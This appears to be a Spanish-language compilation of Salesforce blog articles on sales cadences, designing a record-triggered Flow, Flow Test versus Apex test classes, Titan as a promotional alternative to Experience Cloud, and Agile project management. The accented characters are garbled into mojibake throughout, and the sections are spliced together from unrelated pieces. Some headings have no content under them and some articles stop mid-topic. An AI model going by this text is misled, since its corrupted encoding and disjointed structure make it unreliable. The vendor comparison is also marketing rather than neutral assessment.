La cadencia de participaci贸n de ventas es una l铆nea de tiempo de las actividades y m茅todos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El prop贸sito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluir铆a una lista de las cosas que hace para programar la primera reuni贸n.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electr贸nico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinaci贸n de las tres formas de comunicaci贸n mencionadas.

Una cadencia de participaci贸n de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participaci贸n de ventas difieren de un tipo de proceso de ventas a otro, pero la idea b谩sica sigue siendo la misma: toques consistentes y secuenciales.

驴Qu茅 es la captura de datos modificados?

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Escenario de flujo de activaci贸n de registro: enviar notificaci贸n por correo electr贸nico al objeto principal en funci贸n de los cambios con el objeto secundario

Escenario de flujo de activaci贸n de registro: enviar notificaci贸n por correo electr贸nico al objeto principal en funci贸n de los cambios con el objeto secundario

Escenario de activaci贸n de registro 2

Su organizaci贸n administra cuentas, contactos y oportunidades para operaciones de ventas. Desea automatizar el proceso de notificaci贸n al propietario de la cuenta cuando el campo personalizado 'Cambio de estado' de un contacto cambia a 'Inactivo'. Adem谩s, desea actualizar la 'Etapa de oportunidad' de todas las oportunidades relacionadas a 'En espera' cuando cambie el estado de este contacto. Explique c贸mo dise帽ar铆a un Flujo para lograr esto.

Respuesta

Centr茅monos en el patr贸n para resolver este escenario de modo que podamos resolver preguntas de flujo de manera efectiva.

1. Comprenda el requisito:

鈥 Punto de activaci贸n: cuando el 'Cambio de estado' de un contacto cambia a 'Inactivo'.

鈥 Resultado: Automatizar la notificaci贸n al propietario de la cuenta y actualizar las etapas de la oportunidad.

2. Desglosarlo:

鈥 Recuperaci贸n de datos: Identificar la Cuenta del Contacto y las Oportunidades relacionadas.

鈥 Notificaciones: env铆a una notificaci贸n al propietario de la cuenta.

鈥 Actualizaci贸n: actualice las etapas de la oportunidad seg煤n el cambio de estado del contacto.

3. Visualice el flujo:

– Secuencia:

鈥 Iniciar el flujo cuando el 'Estado' de un contacto cambie a 'Inactivo'.

鈥 Recuperar la cuenta del contacto y las oportunidades relacionadas.

鈥 Enviar una notificaci贸n al propietario de la cuenta.

鈥 Actualizar la 'Etapa de Oportunidad' en Oportunidades relacionadas.

4. Dise帽e el flujo:

鈥 Elementos:

鈥 鈥淩egistrar flujo activado鈥 para iniciar el cambio de estado de flujo en contacto. Seleccionaremos cu谩ndo se actualiza el registro, ya que el flujo debe ejecutarse cuando el campo 'cambio de estado' del contacto se cambia a inactivo.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 El 鈥淓lemento de decisi贸n鈥 comprueba si el campo de estado del caso est谩 activo o no

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 Elemento 鈥淥btener registros鈥 para recuperar la cuenta del contacto. Para este filtro se debe buscar la cuenta que tenga el mismo ID que el ID de cuenta del contacto.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 Enviar notificaci贸n por correo electr贸nico al propietario de la cuenta.

Escribe el correo electr贸nico. A la hora de redactar el contenido de tu correo electr贸nico, tienes tres opciones disponibles:

Opci贸n 1:
a partir del lanzamiento Summer '23 de Salesforce, puede utilizar plantillas de correo electr贸nico con la acci贸n Enviar correo electr贸nico. Puede hacer esto activando el ID de plantilla de correo electr贸nico e ingresando el ID de la plantilla de correo electr贸nico que desea usar. Para encontrar esta ID, navegue hasta su plantilla de correo electr贸nico desde las Plantillas de correo electr贸nico Lightning en sus aplicaciones o la p谩gina Plantilla de correo electr贸nico cl谩sica en la configuraci贸n. Luego copie la cadena de 15 caracteres de la URL y p茅guela en su flujo como ID de plantilla de correo electr贸nico.

Imagen que resalta la cadena de 15 caracteres en la URL de la p谩gina Plantilla de correo electr贸nico de una plantilla de correo electr贸nico de muestra.

Opci贸n 2: almacena el cuerpo de tu correo electr贸nico en una plantilla de texto . Para hacer esto, active el interruptor Cuerpo . A continuaci贸n, seleccione Nuevo recurso en el men煤 y elija Plantilla de texto . Asigne a la plantilla un nombre API y escriba el cuerpo de su correo electr贸nico . Puede ingresar recursos personalizados desde el men煤 encima del cuadro de texto. De esta manera, puedes incluir tanto texto est谩tico como informaci贸n personalizada para el cliente potencial. Una vez que su plantilla est茅 completa, haga clic en Listo . Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

  1. Ahora que tenemos escrito el contenido de nuestro correo electr贸nico, es momento de determinar a qui茅n va dirigido. Active la lista de destinatarios e ingrese {!$Record.Email}. Ahora, la direcci贸n de correo electr贸nico vinculada al objeto Cliente potencial se convertir谩 autom谩ticamente en el destinatario.
  2. Otra caracter铆stica nueva de la versi贸n Summer '23 de Salesforce es la capacidad de registrar correos electr贸nicos enviados con la acci贸n Enviar correo electr贸nico. Esto significa que puede actualizar registros autom谩ticamente cuando se env铆a un correo electr贸nico, de modo que tenga un cronograma claro de comunicaci贸n almacenado directamente dentro del registro del objeto. Para hacer esto, active la opci贸n Registrar correo electr贸nico al enviar y establezca el valor en {!$GlobalConstant.True} .
  3. Cambie la ID del destinatario a Activado e ingrese {!$Record.Id} Ahora, el registro del destinatario se actualizar谩 autom谩ticamente para mostrar cu谩ndo fueron contactados, qu茅 dec铆a el correo electr贸nico e incluso cu谩ndo lo abrieron.

Una captura de pantalla de la pantalla de una computadora Descripci贸n generada autom谩ticamente

A continuaci贸n, active Cuerpo con formato de texto enriquecido. En el men煤 desplegable, seleccione {!$GlobalConstant.True}. Esto garantiza que el formato de nuestro correo electr贸nico siga siendo consistente.

Imagen que muestra la Lista de direcciones de destinatarios activada con el cuadro de texto que muestra {!$Record.Email} y la opci贸n Cuerpo con formato de texto enriquecido activada con el cuadro de texto que muestra {!$GlobalConstant.True}

Por 煤ltimo, cambie el valor de Asunto a Activado y escriba su asunto en el cuadro. Puede omitir este paso si est谩 utilizando una ID de plantilla de correo electr贸nico.

Un objeto rectangular blanco con l铆neas negras. Descripci贸n generada autom谩ticamente.

鈥 Elemento 鈥淎ctualizar Registros鈥 para actualizar Etapas de Oportunidad.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

5. Escenario de prueba:

鈥 Cambie el 'Cambio de estado' de un contacto a 'Inactivo' y verifique que el flujo notifique correctamente al propietario de la cuenta y actualice las Etapas de la oportunidad a 'En espera'.

Producci贸n

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

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Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Introducci贸n de la prueba de flujo

Anteriormente, si quer铆amos probar el flujo, necesit谩bamos escribir una clase de prueba de Apex para el flujo. Con la versi贸n Summer '22, Salesforce introdujo un marco de prueba para flujos activados por registros para automatizar las pruebas de flujos. Ahora podemos dejar que Salesforce pruebe el flujo, asegurarnos de que los resultados cumplan con las expectativas y resaltar cuando no lo sean. Ahora podemos crear y ejecutar pruebas dentro del propio generador de flujo, de forma declarativa sin escribir ning煤n c贸digo.

C贸mo funciona

Establecer detalles de prueba, desencadenante y ruta

Proporciona una etiqueta de prueba de flujo y una descripci贸n de la prueba. Establezca el activador de prueba en Creado/actualizado seg煤n el escenario. La ruta de la prueba est谩 configurada para Ejecutar inmediatamente.

imagen.png Establecer registro de activaci贸n inicial/actualizado

Usando la funci贸n de b煤squeda, podemos buscar el registro para usarlo como plantilla inicial. Tras la selecci贸n del registro, los campos se completan a partir del registro seleccionado. La prueba hereda los valores de campo del registro seleccionado. Sin embargo, podemos modificar los valores de estos campos antes de finalizar la prueba. La prueba no est谩 vinculada a este registro pero contiene y utiliza sus valores de campo.

imagen.png Establecer afirmaciones

La aserci贸n es una forma de comparar el resultado real con el resultado previsto. Si coinciden, entonces la afirmaci贸n se eval煤a como verdadera. De lo contrario, la afirmaci贸n falla. Escriba las siguientes afirmaciones para garantizar que se cumplan los criterios de entrada de registros para el flujo y se logre el resultado esperado.

imagen.png Ejecutar prueba y ver detalles

Haga clic en el bot贸n "Ver pruebas", seleccione el men煤 desplegable de la prueba de flujo que queremos ejecutar y seleccione Ejecutar prueba y ver detalles.

imagen.png La prueba de flujo se ejecuta y resalta el camino que tom贸 la prueba. Si necesitamos probar el flujo, simplemente podemos ejecutar la prueba. Ya no es necesario configurar los datos de prueba mediante programaci贸n. 隆Esto aumenta la eficiencia de las pruebas! Si necesitamos realizar una mejora en este flujo en el futuro, necesitaremos actualizar el registro de prueba asociado en consecuencia.

imagen.png Beneficios

  1. F谩cil y c贸modo de usar: podemos crear registros de prueba a trav茅s de la interfaz de usuario y ponerlos a prueba.
  2. Tiempo y esfuerzo: reduce el tiempo y el esfuerzo necesarios, ya que no necesitamos escribir c贸digo, solo crear registros desde la interfaz de usuario y realizar afirmaciones.
  3. No afectar谩 la cobertura del c贸digo existente a nivel de clase: si migramos cualquier funcionalidad del activador al flujo, la l贸gica subyacente del activador/clase tambi茅n se limpia manualmente como parte de este ejercicio. Esto no reducir谩 la cobertura del c贸digo de la clase ya que la l贸gica se elimina por completo.
  4. Cobertura de la prueba de flujo: el porcentaje de cobertura no se captura en la prueba de flujo como podemos hacerlo a trav茅s de la clase Apex. M谩s bien es capaz de cubrir nodos. Una vez seleccionamos 鈥淓jecutar prueba y ver detalles鈥. La ruta resaltada en amarillo representar谩 la cobertura real del flujo desde el principio hasta el final del nodo.

imagen.png

imagen.png

imagen.png Desventaja

  1. Solo puede crear pruebas de flujo para crear, actualizar o crear/actualizar flujos activados por registros. A煤n no se admite la eliminaci贸n de flujos activados por registros. 鈥 Solo para el escenario de eliminaci贸n de registros podemos escribir una clase de prueba
  2. Puede afectar la cobertura general: dado que la cobertura de prueba general se calcula en funci贸n de la cobertura de prueba de todas las clases combinadas (promedio), si migramos cualquier caracter铆stica que tenga una cobertura de prueba m谩s alta en la clase 谩pice relevante, podr铆a reducir el porcentaje de cobertura general del c贸digo. (Como actualmente solo nos estamos enfocando en migrar el activador relacionado con la cuenta para fluir, solo se ve afectada 1 clase de prueba, por lo que no hay cambios significativos en la cobertura del c贸digo Apex).
  3. Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincr贸nica. Sin embargo, no tenemos flujo as铆ncrono en nuestra organizaci贸n. Estamos creando flujos para cubrir escenarios que se ejecutan sincr贸nicamente.

Recomendaci贸n

  • Podemos comenzar a dar pasos para pasar a la prueba de flujo a medida que Salesforce realiza mejoras continuas en el flujo, por lo que en versiones futuras, podemos esperar que la prueba de flujo incluya m谩s mejoras y reduzca las limitaciones.
  • Podemos comenzar escribiendo una prueba de flujo para las actualizaciones r谩pidas de campos (antes) de los flujos de activaci贸n de registros.
  • Mejorar la cobertura de prueba de las clases que tienen menos cobertura para que podamos usar la prueba de flujo.

Preguntas m谩s frecuentes

驴Cu谩l es el porcentaje de cobertura para implementar Flow?

En relaci贸n con las pruebas de Apex, las pruebas de flujo no se consideran parte de la cobertura de pruebas como en el 75%+ para el despliegue de productos.

驴Brindan cobertura de c贸digo como lo hace la clase de prueba? Si no, 驴debemos pensar en eliminar el flujo de la cobertura de prueba?

S铆, cubren resaltando nodo por nodo.

驴Puede confirmar si la prueba de flujo permite ejecutar pruebas masivas?

No, no admite pruebas de registros masivos. En la mayor铆a de los escenarios relacionados con desencadenantes, hemos creado un registro individual en la clase de prueba y verificamos los escenarios de prueba. Si reemplazamos esos desencadenantes con flujos, no habr谩 una gran diferencia en los casos de prueba.

驴La prueba de flujo admite la asincron铆a?

Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincr贸nica. Sin embargo, no tenemos flujo as铆ncrono en nuestra organizaci贸n. Estamos creando flujos para cubrir escenarios que se ejecutan sincr贸nicamente.

驴Cu谩l es el rendimiento de las pruebas de flujo en comparaci贸n con las clases de prueba?

No veo ninguna documentaci贸n oficial, pero creo que la prueba de flujo ser谩 m谩s r谩pida en comparaci贸n con la clase de prueba porque cuando ejecutamos una prueba crear谩 una instancia de la clase y llamar谩 a m茅todos individuales. Podemos ejecutar casos de prueba individuales utilizando una prueba de flujo, pero no es posible ejecutar un solo m茅todo individual desde la clase de prueba, lo que lleva mucho tiempo.

Referencia

Prueba de flujo (beta)

Consideraciones para probar el flujo

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Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

脷ltima actualizaci贸n el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴Cu谩les son las mejores alternativas a Experience Cloud del mercado? 驴Y es posible encontrar una herramienta sin c贸digo que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Despu茅s de leer este blog, tendr谩s:

  • Comprensi贸n de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducci贸n a Titan Web, con una explicaci贸n de c贸mo esta herramienta de c贸digo cero puede brindarle la libertad de crear cualquier aplicaci贸n web o portal que desee.

El director de ventas Eric Brown se acerc贸 a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo est谩n muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar n贸minas y cuidar el bienestar de los empleados. 隆Asegurarse de que todo el papeleo y la administraci贸n est茅n actualizados es una p茅rdida de hasta 12 horas cada semana! Est谩 empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificaci贸n ni conocimientos t茅cnicos especiales para su implementaci贸n. Saben que Salesforce Experience Cloud es una posible soluci贸n, pero tambi茅n les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, 驴cu谩les son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en l铆nea de marca. A lo largo de los a帽os, Salesforce Experience Cloud evolucion贸 con actualizaciones y mejoras. Hoy en d铆a, sirve como una soluci贸n integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creaci贸n de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presi贸n de su departamento de recursos humanos. Un portal de autoservicio o una aplicaci贸n web creada con Experience Cloud proporciona a los empleados acceso directo a su informaci贸n personal y profesional, lo que facilita la actualizaci贸n de informaci贸n y registros en cualquier momento o lugar.

Echemos un vistazo m谩s de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organizaci贸n.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementaci贸n
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a trav茅s de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia t茅cnica especial ni conocimientos de codificaci贸n.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ning煤n trabajo de integraci贸n adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estar铆an familiarizados.
  • Puedes crear p谩ginas p煤blicas y privadas. La ventaja de esto es que s贸lo los usuarios con los permisos de acceso adecuados podr谩n visitar espacios espec铆ficos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M r谩pido y lo m谩s probable es que pueda crear su portal o sitio en uno o dos d铆as.
  • Tambi茅n tiene la opci贸n de dise帽ar su portal o sitio web de la manera que desee utilizando im谩genes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos m贸viles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el dise帽o de su p谩gina para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edici贸n en l铆nea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de c谩maras del usuario al hacer clic en 茅l, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta soluci贸n, prep谩rese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y m贸vil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el bot贸n 鈥淕uardar鈥.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso espec铆ficos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuaci贸n. Cr茅dito: https://www.salesforce.com/products/experience-cloud/features/templates/

驴Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opci贸n le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, as铆 como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con m煤ltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no est茅 limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear dise帽os din谩micos para cualquier dispositivo, por ejemplo, port谩til o m贸vil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. 隆Si puedes so帽arlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el c贸digo fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sue帽os sin barreras, restricciones ni compromisos. Pero este m茅todo no est谩 exento de desventajas. Vea a continuaci贸n algunos de los principales puntos d茅biles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia t茅cnica: desarrollar un portal o una aplicaci贸n web requiere habilidades y recursos t茅cnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicaci贸n o un portal web puede ser un proceso que requiere mucho tiempo y una inversi贸n significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podr铆a afectar negativamente a sus objetivos comerciales.
  • R谩pidos avances tecnol贸gicos: el panorama tecnol贸gico evoluciona continuamente y peri贸dicamente surgen nuevas caracter铆sticas, marcos y plataformas. Desarrollar una aplicaci贸n web o un portal internamente requiere mantenerse actualizado con las 煤ltimas tecnolog铆as y mejores pr谩cticas.
  • Desaf铆os de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicaci贸n web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • B谩sicamente, depender谩 de los recursos de desarrollo y se ver谩 paralizado cuando desee realizar actualizaciones simples. 隆No suena divertido!
  • Problemas de integraci贸n: desarrollar una aplicaci贸n web o un portal internamente puede plantear conflictos de integraci贸n con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicaci贸n o un portal seguro implica implementar medidas de seguridad s贸lidas y garantizar el cumplimiento de las normas de protecci贸n de datos.
  • Centrarse en las competencias b谩sicas: las organizaciones deben evaluar si el desarrollo de una aplicaci贸n o portal se alinea con sus competencias b谩sicas y prioridades estrat茅gicas.
  • 隆Dinero dinero dinero! Esta es definitivamente tu opci贸n m谩s cara, as铆 que prep谩rate para acumular una factura.

隆Haci茅ndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho m谩s. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin c贸digo con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: 驴c贸mo se compara Titan con Experience Cloud? 驴Tiene tambi茅n ventaja sobre el desarrollo personalizado? A continuaci贸n, detallamos c贸mo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Tit谩n:

  • Plataforma de c贸digo cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integraci贸n bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercializaci贸n
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organizaci贸n.
  • El enfoque m贸vil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean f谩ciles de implementar
  • Genere documentos y f铆rmelos desde su aplicaci贸n o portal
  • Capacidades sin conexi贸n para que pueda utilizar esta herramienta incluso cuando est茅 fuera del alcance de Internet
  • Compatible con m煤ltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gesti贸n de versiones
  • Rentable en comparaci贸n con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporaci贸n puede variar entre 4 y 20 horas, seg煤n la complejidad de su caso de uso.
  • Ocasionalmente, para una l贸gica o un dise帽o de dise帽o muy complejos, una organizaci贸n necesitar谩 agregar c贸digo JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web est谩 limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola l铆nea de c贸digo. Sin concesiones ni agendas ocultas para que pueda acelerar su comercializaci贸n.

Comparaci贸n de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, 驴cu谩l es el resultado final y qui茅n sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuaci贸n para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Tit谩n
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de dise帽o Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas so帽ar. Casi todo lo que puedas so帽ar
Marca S铆 con temas personalizados S铆 S铆 con temas personalizados
Integraci贸n de Salesforce S铆 Requiere desarrollo por integraci贸n. S铆
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo S铆
Validaciones de datos en tiempo real No S铆 S铆
Flujo de trabajo y automatizaci贸n S铆 No S铆
M贸vil Listo para dispositivos m贸viles Dise帽o completamente din谩mico por dispositivo Dise帽o completamente din谩mico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sue帽os. Pero est谩 claro que si est谩 buscando una herramienta web sin c贸digo, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opci贸n.

Quiz谩s recuerde que anteriormente en este art铆culo una empresa estaba buscando una soluci贸n flexible y sin c贸digo para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesi贸n en el portal:
  • Reciben una autenticaci贸n de dos factores enviada a su correo electr贸nico para que puedan iniciar sesi贸n en el portal sin administrar ninguna otra contrase帽a.
  • Las p谩ginas web y los portales se muestran din谩micamente seg煤n la autenticaci贸n del usuario, proporcionando una experiencia de usuario din谩mica con cada clic.
  • Todo est谩 construido s贸lo con herramientas de arrastrar y soltar. No es necesaria ninguna codificaci贸n, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un f谩cil acceso a informaci贸n personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado din谩mico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quer铆a reservar sus d铆as de vacaciones, ten铆a que completar un formulario de licencia manual, escanearlo y enviarlo por correo electr贸nico a Recursos Humanos para su aprobaci贸n. Ahora simplemente hacen clic en la pesta帽a de d铆as de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos m贸viles, computadoras port谩tiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la n贸mina y pueden presentar las solicitudes para recibir el pago antes de la fecha l铆mite de n贸mina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas r谩pidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (隆incluida la n贸mina!) y los empleados est谩n m谩s comprometidos.
  • La empresa logr贸 hacer todo esto dentro del presupuesto y en un tiempo r茅cord, sin tener que implementar ning煤n c贸digo ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin c贸digo donde los empleados pueden iniciar sesi贸n y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una soluci贸n conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun as铆, no est谩 exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opci贸n real para diferenciar entre la experiencia de escritorio y m贸vil, y dificultad para integrarse con herramientas fuera de Salesforce, 隆por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicaci贸n o portal personalizado resolver谩 la mayor铆a de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicaci贸n que puedas so帽ar y obtener dise帽os din谩micos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos d茅biles de Experience Cloud, esta soluci贸n presenta sus propios desaf铆os, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercializaci贸n m谩s lenta.

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Evaluaci贸n formativa

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Uso de Agile en proyectos de Salesforce – Inspire Planner

Uso de Agile en proyectos de Salesforce - Inspire Planner

Los enfoques tradicionales de gesti贸n de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicaci贸n, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Seg煤n diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinaci贸n interfuncional se cit贸 a menudo como el factor de riesgo m谩s importante para el fracaso del proyecto CRM. Imagine la frustraci贸n de invertir tiempo y recursos en un proyecto de Salesforce s贸lo para verlo descarrilado por estrategias de gesti贸n inflexibles.

La metodolog铆a Agile ofrece una salida. En comparaci贸n, s贸lo el 9% de los proyectos 谩giles terminan en fracaso. Dise帽ado para la adaptabilidad y la colaboraci贸n, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a trav茅s del enfoque iterativo.

En este art铆culo, descubrir谩 c贸mo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodolog铆a de gesti贸n de proyectos en cascada versus 谩gil: descripci贸n general r谩pida

Waterfall es una metodolog铆a tradicional de gesti贸n de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodolog铆a Waterfall avanzan a trav茅s de fases predefinidas, desde la recopilaci贸n de requisitos hasta la implementaci贸n del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gesti贸n de proyectos en cascada de Inspire Planner en SalesforceGesti贸n de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodolog铆a Agile es un enfoque colaborativo para la gesti贸n de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteraci贸n r谩pida. En lugar de una progresi贸n lineal, los proyectos se dividen en tareas peque帽as y manejables llamadas "sprints" o "iteraciones", que son per铆odos cortos con un l铆mite de tiempo.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Si diferentes equipos de su organizaci贸n utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con 茅xito ambas metodolog铆as, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener 茅xito. La metodolog铆a 谩gil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

